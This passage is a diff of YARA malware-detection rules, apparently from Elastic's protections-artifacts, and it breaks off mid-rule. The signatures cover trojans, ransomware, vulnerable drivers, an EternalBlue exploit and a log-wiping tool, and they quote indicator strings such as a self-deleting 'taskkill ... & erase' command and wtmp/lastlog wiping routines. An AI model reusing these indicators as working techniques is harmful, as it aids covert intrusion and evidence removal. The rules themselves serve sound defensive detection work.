-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Ccminer.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "dbb403a00c75ef2a74b41b8b58d08a6749f37f922de6cc19127a8f244d901c60"
-		logic_hash = "75db45ccbeb558409ee9398065591472d4aee0382be5980adb9d0fb41e557789"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2009_2698.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "502b73ea04095e8a7ec4e8d7cc306242b45850ad28690156754beac8cd8d7b2d"
+		logic_hash = "68daa56ca98cc8f713faa138432190d19c27f07b2182a1f82347a3bfc5821ebb"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "461e942fcaf5faba60c3dc39d8089f9d506ff2daacb2a22573fb35bcfee9b6f1"
+		tags = "FILE, MEMORY, CVE-2009-2698"
+		fingerprint = "d3fdd66e486cb06bd63f6d8e471e66bc80990c4f0729eea16b47adc4cac80538"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -71408,89 +75804,87 @@ rule ELASTIC_Linux_Cryptominer_Ccminer_18Fc60E5 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 00 68 27 52 22 02 02 32 22 22 03 5C 8B AE 00 00 00 48 03 5C }
+		$a = { C4 10 89 45 F4 83 7D F4 FF 75 1F 83 EC 0C 68 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Ccminer_3C593Bc3 : FILE MEMORY
+rule ELASTIC_Windows_Exploit_Eternalblue_Ead33Bf8 : FILE
 {
 	meta:
-		description = "Detects Linux Cryptominer Ccminer (Linux.Cryptominer.Ccminer)"
+		description = "Detects Windows Exploit Eternalblue (Windows.Exploit.Eternalblue)"
 		author = "Elastic Security"
-		id = "3c593bc3-cb67-41da-bef1-aad9e73c34f7"
+		id = "ead33bf8-1870-4d01-a223-edcbe262542f"
 		date = "2021-01-12"
-		modified = "2021-09-16"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Ccminer.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "dbb403a00c75ef2a74b41b8b58d08a6749f37f922de6cc19127a8f244d901c60"
-		logic_hash = "94a0d33b474b3c60e926eaf06147eb0fdc56beac525f25326448bf2a5177d9c0"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Exploit_Eternalblue.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a1340e418c80be58fb6bbb48d4e363de8c6d62ea59730817d5eda6ba17b2c7a7"
+		logic_hash = "4d0ab8bd7ef5b20e656110ac3c78b08803539387cb4fe1425a284d39c42aa199"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "0a382ef73d3b5d1b1ad223c66fc367cc5b6f2b23a9758002045076234f257dfe"
+		tags = "FILE"
+		fingerprint = "9e3b5f4f0b8ac683544886abbd9eecbf0253a7992ee5d99c453de67b9aacdccd"
 		severity = 100
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 20 83 5C DE C2 00 00 00 68 03 5C EB EA 00 00 00 48 03 1C DC }
+		$a = { F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Onlylogger_B9E88336 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Speedfan_9B590Eee : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Onlylogger (Windows.Trojan.OnlyLogger)"
+		description = "Subject: Sokno S.R.L."
 		author = "Elastic Security"
-		id = "b9e88336-9719-4f43-afc9-b0e6c7d72b6f"
-		date = "2022-03-22"
-		modified = "2022-04-12"
+		id = "9b590eee-5938-4293-afac-c9e730753413"
+		date = "2022-04-07"
+		modified = "2022-04-07"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_OnlyLogger.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "69876ee4d89ba68ee86f1a4eaf0a7cb51a012752e14c952a177cd5ffd8190986"
-		logic_hash = "b8d1c4c1e33fc0b54a62f82b8f53c9a1b051ad8c2f578d2a43f504158d1d9247"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_Speedfan.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "22be050955347661685a4343c51f11c7811674e030386d2264cd12ecbf544b7c"
+		logic_hash = "6f75c0e6b89dd1ceb85c73b7e51fd261ca2804e14a5f8ed6ce3352b3f1bcdfe4"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "5c8c98b250252d178c8dbad60bf398489d9396968e33b3e004219a4f323eeed8"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "c58a8c3bfa710896c35262cc880b9afbadcdfdd73d9969c707e7b5b64e6a70b5"
+		threat_name = "Windows.VulnDriver.Speedfan"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = "C:\\Users\\Ddani\\source\\repos\\onlyLogger\\Release\\onlyLogger.pdb" ascii fullword
-		$b1 = "iplogger.org" ascii fullword
-		$b2 = "NOT elevated" ascii fullword
-		$b3 = "WinHttpSendRequest" ascii fullword
+		$subject_name = { 06 03 55 04 03 [2] 53 6F 6B 6E 6F 20 53 2E 52 2E 4C 2E }
 
 	condition:
-		1 of ($a*) or all of ($b*)
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $subject_name
 }
-rule ELASTIC_Windows_Trojan_Onlylogger_Ec14D5F2 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Hancitor_6738D84A : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Onlylogger (Windows.Trojan.OnlyLogger)"
+		description = "Detects Windows Trojan Hancitor (Windows.Trojan.Hancitor)"
 		author = "Elastic Security"
-		id = "ec14d5f2-5716-47f3-a7fb-98ec2d8679d1"
-		date = "2022-03-22"
-		modified = "2022-04-12"
+		id = "6738d84a-7393-4db2-97cc-66f471b5699a"
+		date = "2021-06-17"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_OnlyLogger.yar#L24-L46"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f45adcc2aad5c0fd900df4521f404bc9ca71b01e3378a5490f5ae2f0c711912e"
-		logic_hash = "2838851a5e013705b64625801d2ab1d56cfc17c52f75a5fd71448cb0a4b4b683"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Hancitor.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a674898f39377e538f9ec54197689c6fa15f00f51aa0b5cc75c2bafd86384a40"
+		logic_hash = "448243b6925c4e419b1fd492ac5e8d43a7baa4492ba7a5a0b44bc8e036c77ec2"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c69da3dfe0a464665759079207fbc0c82e690d812b38c83d3f4cd5998ecee1ff"
+		fingerprint = "44a4dd7c35e0b4f3f161b82463d8f0ee113eaedbfabb7d914ce9486b6bd3a912"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -71498,90 +75892,99 @@ rule ELASTIC_Windows_Trojan_Onlylogger_Ec14D5F2 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "KILLME" ascii fullword
-		$a2 = "%d-%m-%Y %H" ascii fullword
-		$a3 = "/c taskkill /im \"" ascii fullword
-		$a4 = "\" /f & erase \"" ascii fullword
-		$a5 = "/info.php?pub=" ascii fullword
+		$a1 = "GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d"
+		$b1 = "Rundll32.exe %s, start" ascii fullword
+		$b2 = "MASSLoader.dll" ascii fullword
 
 	condition:
-		all of them
+		$a1 or all of ($b*)
 }
-rule ELASTIC_Windows_Vulndriver_Winio_C9Cc6D00 : FILE
+rule ELASTIC_Linux_Hacktool_Wipelog_Daea1Aa4 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Vulndriver Winio (Windows.VulnDriver.WinIo)"
+		description = "Detects Linux Hacktool Wipelog (Linux.Hacktool.Wipelog)"
 		author = "Elastic Security"
-		id = "c9cc6d00-b1ed-4bab-b0f7-4f0d6c03bf08"
-		date = "2022-04-04"
-		modified = "2022-04-04"
+		id = "daea1aa4-0df7-4308-83e1-0707dcda2e54"
+		date = "2022-03-17"
+		modified = "2022-07-22"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_WinIo.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e1980c6592e6d2d92c1a65acad8f1071b6a404097bb6fcce494f3c8ac31385cf"
-		logic_hash = "4b6a78c2c807cf1f569ae9bc275d42d9c895efba7a2d64fec0652e3cb163d553"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Wipelog.yar#L1-L29"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "39b3a95928326012c3b2f64e2663663adde4b028d940c7e804ac4d3953677ea6"
+		logic_hash = "e2483b7719f4a1e28ec3732120770066333d8db269c9c9711813a8eeb75176d6"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "d9050466a2894b63ae86ec8888046efb49053edcc20287b9f17a4e6340a9cf92"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "93f899e14e6331c2149ba5c0c1e9dd8def5a7d1b6d2a7af66eade991dea77b3c"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$str1 = "\\WinioSys.pdb"
+		$s1 = "Erase one username on tty"
+		$s2 = "wipe_utmp"
+		$s3 = "wipe_acct"
+		$s4 = "wipe_lastlog"
+		$s5 = "wipe_wtmp"
+		$s6 = "getpwnam"
+		$s7 = "ERROR: Can't find user in passwd"
+		$s8 = "ERROR: Opening tmp ACCT file"
+		$s9 = "/var/log/wtmp"
+		$s10 = "/var/log/lastlog"
+		$s11 = "Patching %s ...."
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
+		4 of them
 }
-rule ELASTIC_Windows_Vulndriver_Winio_B0F21A70 : FILE
+rule ELASTIC_Windows_Trojan_Dridex_63Ddf193 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Vulndriver Winio (Windows.VulnDriver.WinIo)"
+		description = "Detects Windows Trojan Dridex (Windows.Trojan.Dridex)"
 		author = "Elastic Security"
-		id = "b0f21a70-b563-4b18-8ef9-73885125e88b"
-		date = "2022-04-04"
-		modified = "2022-04-04"
+		id = "63ddf193-31a6-4139-b452-960fe742da93"
+		date = "2021-08-07"
+		modified = "2021-10-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_WinIo.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9fc29480407e5179aa8ea41682409b4ea33f1a42026277613d6484e5419de374"
-		logic_hash = "c82d95e805898f9a9a1ffccb483e506df0a53dc420068314e7c724e4947f3572"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Dridex.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b1d66350978808577159acc7dc7faaa273e82c103487a90bf0d040afa000cb0d"
+		logic_hash = "e792f4693be0a7c71d1e638212a8fb3acb1e14dedd48218861fad8c09811da29"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "00d8142a30e9815f8e4c53443221fc1c3882c8b6f68e77a8ed7ffe4fc8852488"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "7b4c5fde8e107a67ff22f3012200e56ec452e0a57a49edb2e06ee225ecfe228c"
+		severity = 90
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$str1 = "IOCTL_WINIO_WRITEMSR"
+		$a1 = "snxhk.dll" ascii fullword
+		$a2 = "LondLibruryA" ascii fullword
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Magniber_Ea0140A1 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Dridex_C6F01353 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Ransomware Magniber (Windows.Ransomware.Magniber)"
+		description = "Detects Windows Trojan Dridex (Windows.Trojan.Dridex)"
 		author = "Elastic Security"
-		id = "ea0140a1-b745-47f1-871f-5b703174a049"
-		date = "2021-08-03"
+		id = "c6f01353-cf55-4eac-9f25-6f9cce3b7990"
+		date = "2021-08-07"
 		modified = "2021-10-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Magniber.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a2448b93d7c50801056052fb429d04bcf94a478a0a012191d60e595fed63eec4"
-		logic_hash = "e2c05e2c92444d7bcb2bf68e97f809072d2ccdc8a171214d2e7a498b20d08f90"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Dridex.yar#L22-L40"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "739682ccb54170e435730c54ba9f7e09f32a3473c07d2d18ae669235dcfe84de"
+		logic_hash = "7146204d779610c04badfc7d884ff882ff5f1439b61f889d1edf4419240c5751"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "b3c17024097af846f800a843da404dccb6d33eebb90a8524f2f2ec8a5c5df776"
+		fingerprint = "fbdb230032e3655448d26a679afc612c79d33ac827bcd834e54fe5c05f04d828"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -71589,86 +75992,95 @@ rule ELASTIC_Windows_Ransomware_Magniber_Ea0140A1 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { 58 C0 FF 24 4C 8B F0 48 89 45 18 E8 E2 F5 FF FF B9 A1 BD D1 CF 48 89 45 B8 E8 D4 F5 FF FF B9 52 C6 D7 0E 48 89 45 F8 E8 C6 F5 FF FF B9 43 AC 95 0E 48 89 45 B0 E8 B8 F5 FF FF B9 78 D4 33 27 4C 8B F8 48 89 45 D0 E8 A7 F5 FF FF B9 FE 36 04 DE 48 89 44 24 50 E8 98 F5 FF FF B9 51 23 2E F2 48 89 45 10 E8 8A F5 FF FF B9 DA F6 8A 50 48 89 45 08 E8 7C F5 FF FF B9 AD 9E 5F BB 48 89 45 20 E8 6E F5 FF FF B9 2D 57 AE 5B 48 89 45 A0 E8 60 F5 FF FF B9 C6 96 87 52 48 89 45 C8 E8 52 F5 FF FF B9 F6 76 0F 52 48 89 45 A8 E8 44 F5 FF FF B9 A3 FC 62 AA 48 8B F0 48 89 45 98 E8 33 F5 }
+		$a1 = { 56 57 55 8B FA 85 C9 74 58 85 FF 74 54 0F B7 37 85 F6 75 04 }
 
 	condition:
-		any of them
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Magniber_97D7575B : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Ebury_7B13E9B6 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Ransomware Magniber (Windows.Ransomware.Magniber)"
+		description = "Detects Linux Trojan Ebury (Linux.Trojan.Ebury)"
 		author = "Elastic Security"
-		id = "97d7575b-8fc7-4c6b-8371-b62842d90613"
-		date = "2021-08-03"
-		modified = "2021-10-04"
+		id = "7b13e9b6-ce96-4bd3-8196-83420280bd1f"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Magniber.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a2448b93d7c50801056052fb429d04bcf94a478a0a012191d60e595fed63eec4"
-		logic_hash = "9c85f98aaae28e9e90a94d6ce18389467013ea6b569f46f6acaf26a6c7e027fc"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Ebury.yar#L1-L18"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "30d126ffc5b782236663c23734f1eef21e1cc929d549a37bba8e1e7b41321111"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "78253be69d9715892ec725918c3c856040323b83aeab8b84c4aac47355876207"
+		fingerprint = "a891724ce36e86637540f722bc13b44984771f709219976168f12fe782f08306"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 00 4C 00 4C 00 20 00 59 00 4F 00 55 00 52 00 20 00 44 00 4F 00 43 00 55 00 4D 00 45 00 4E 00 54 00 53 00 20 00 50 00 48 00 4F 00 54 00 4F 00 53 00 20 00 44 00 41 00 54 00 41 00 42 00 41 00 53 00 45 00 53 00 20 00 41 00 4E 00 44 00 20 00 4F 00 54 00 48 00 45 00 52 00 20 00 49 00 4D 00 50 00 4F 00 52 00 54 00 41 00 4E 00 54 00 20 00 46 00 49 00 4C 00 45 00 53 00 20 00 48 00 41 00 56 00 45 00 20 00 42 00 45 00 45 00 4E 00 20 00 45 00 4E 00 43 00 52 00 59 00 50 00 54 00 45 00 44 00 21 00 0D }
+		$a = { 8B 44 24 10 4C 8B 54 24 18 4C 8B 5C 24 20 8B 5C 24 28 74 04 }
 
 	condition:
-		any of them
+		all of them
 }
-rule ELASTIC_Linux_Trojan_Bedevil_A1A72C39 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Maui_266Dea64 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Bedevil (Linux.Trojan.Bedevil)"
+		description = "Detects Windows Ransomware Maui (Windows.Ransomware.Maui)"
 		author = "Elastic Security"
-		id = "a1a72c39-c8a3-4372-bd1d-de6360c9c19e"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "266dea64-2ed2-4bfc-977b-5ddb68ab05ac"
+		date = "2022-07-08"
+		modified = "2022-07-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Bedevil.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "017a9d7290cf327444d23227518ab612111ca148da7225e64a9f6ebd253449ab"
-		logic_hash = "227adcc340c38cebf56ea2f39b483c965dd46827d83afe5f866ca844c932da76"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Maui.yar#L1-L29"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5b7ecf7e9d0715f1122baf4ce745c5fcd769dee48150616753fec4d6da16e99e"
+		logic_hash = "2094920615b6297adb222003d25a8d0934a89f24869e7e70644a4956021c7afc"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ea4762d6ba0b88017feda1ed68d70bedd1438bb853b8ee1f83cbca2276bfbd1e"
+		fingerprint = "6f6451b7a972924b2efe339b8793c30409123df37d3d64802037a5af8cb4b5f3"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 73 3A 20 1B 5B 31 3B 33 31 6D 25 64 1B 5B 30 6D 0A 00 1B 5B }
+		$a1 = "Please append it by <Godhead> using -maui option." wide fullword
+		$a2 = "Please overwrite it by <Godhead> using -maui option." wide fullword
+		$a3 = "maui.log" wide fullword
+		$a4 = "maui.key" wide fullword
+		$a5 = "maui.evd" wide fullword
+		$a6 = "Encrypt[%s]: %s" wide fullword
+		$a7 = "PROCESS_GOINGON[%d%% / %d%%]: %s" wide fullword
+		$a8 = "PROCESS_REPLACECONFIRM: %s" wide fullword
+		$seq_encrypt_priv_key = { 55 8B 6C 24 ?? 57 8B F9 85 DB 74 ?? 85 FF 74 ?? 85 ED 74 ?? 56 8D 87 ?? ?? ?? ?? 50 6A ?? E8 ?? ?? ?? ?? 8B 4D ?? 8B 51 ?? 6A ?? 52 8B F0 56 53 57 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 7F ?? E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 5E 5F 83 C8 ?? 5D C3 }
+		$seq_get_private_key = { 57 8B F8 85 FF 75 ?? 5F C3 56 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 80 7F ?? ?? 8B F0 74 ?? 8B 07 50 56 E8 ?? ?? ?? ?? EB ?? 8B 0F 51 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 F6 75 ?? 5E 33 C0 5F C3 }
+		$seq_get_pub_key = { B9 F4 FF FF FF 2B 4C 24 ?? 6A 02 51 53 E8 ?? ?? ?? ?? 8B 54 24 ?? 8B 07 53 6A ?? 52 50 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 32 DB 8B C7 E8 ?? ?? ?? ?? 89 46 28 8B 0F 51 E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 83 C4 ?? 5F 8B C6 5E 5B 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 }
 
 	condition:
-		all of them
+		5 of ($a*) or 2 of ($seq*)
 }
-rule ELASTIC_Linux_Trojan_Ipstorm_3C43D4A7 : FILE MEMORY
+rule ELASTIC_Linux_Backdoor_Bash_E427876D : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Ipstorm (Linux.Trojan.Ipstorm)"
+		description = "Detects Linux Backdoor Bash (Linux.Backdoor.Bash)"
 		author = "Elastic Security"
-		id = "3c43d4a7-185a-468b-a73d-82f579de98c1"
+		id = "e427876d-c7c5-447a-ad6d-5cbc12d9dacf"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Ipstorm.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5103133574615fb49f6a94607540644689be017740d17005bc08b26be9485aa7"
-		logic_hash = "c7e9191312197f8925d7231d0b8badf8b5ca35685df909c0d1feb301b4385d7b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Backdoor_Bash.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "07db41a4ddaac802b04df5e5bbae0881fead30cb8f6fa53a8a2e1edf14f2d36b"
+		logic_hash = "fdd066b746416730419787d21eb53fa2ba997679a237d9db3a2e1365d43df892"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "cf6812f8f0ee7951a70bec3839b798a574d536baae4cf37cda6eebf570cab0be"
+		fingerprint = "6cc13bb2591d896affc58f4a22b3463a72f6c9d896594fe1714b825e064b0956"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -71676,143 +76088,166 @@ rule ELASTIC_Linux_Trojan_Ipstorm_3C43D4A7 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 48 8D 54 24 58 31 F6 EB 11 48 8B 84 24 88 00 00 00 48 89 F1 48 }
+		$a = { 67 65 44 6F 6B 4B 47 6C 6B 49 43 31 31 4B 54 6F 67 4C 32 56 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Ipstorm_F9269F00 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Spectralviper_43Abeeeb : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Ipstorm (Linux.Trojan.Ipstorm)"
+		description = "Detects Windows Trojan Spectralviper (Windows.Trojan.SpectralViper)"
 		author = "Elastic Security"
-		id = "f9269f00-4664-47a4-9148-fa74e2cfee7c"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Ipstorm.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5103133574615fb49f6a94607540644689be017740d17005bc08b26be9485aa7"
-		logic_hash = "5914d222b49aaf6c1040e48ffd93c04bd5df25f1d97bde79b034862fca6555f6"
+		id = "43abeeeb-d81a-475e-9b9e-6b6337bf2ce0"
+		date = "2023-04-13"
+		modified = "2023-05-26"
+		reference = "https://www.elastic.co/security-labs/elastic-charms-spectralviper"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_SpectralViper.yar#L1-L27"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "7e35ba39c2c77775b0394712f89679308d1a4577b6e5d0387835ac6c06e556cb"
+		logic_hash = "976e5b5b4ba73f1b392c2f6b32a86b09b5fd9e5a3510c60b77a39f1e0d705822"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "509de41454bcc60dad0d96448592aa20fb997ce46ad8fed5d4bbdbe2ede588d6"
+		fingerprint = "0e19e57e936d08f68c5580d21c2d69d451cfc11d413c6125dbdaab863b73d5c7"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { EC C0 00 00 00 48 89 AC 24 B8 00 00 00 48 8D AC 24 B8 00 00 00 B8 69 00 }
+		$a1 = { 13 00 8D 58 FF 0F AF D8 F6 C3 01 0F 94 44 24 26 83 FD 0A 0F 9C 44 24 27 4D 89 CE 4C 89 C7 48 89 D3 48 89 CE B8 }
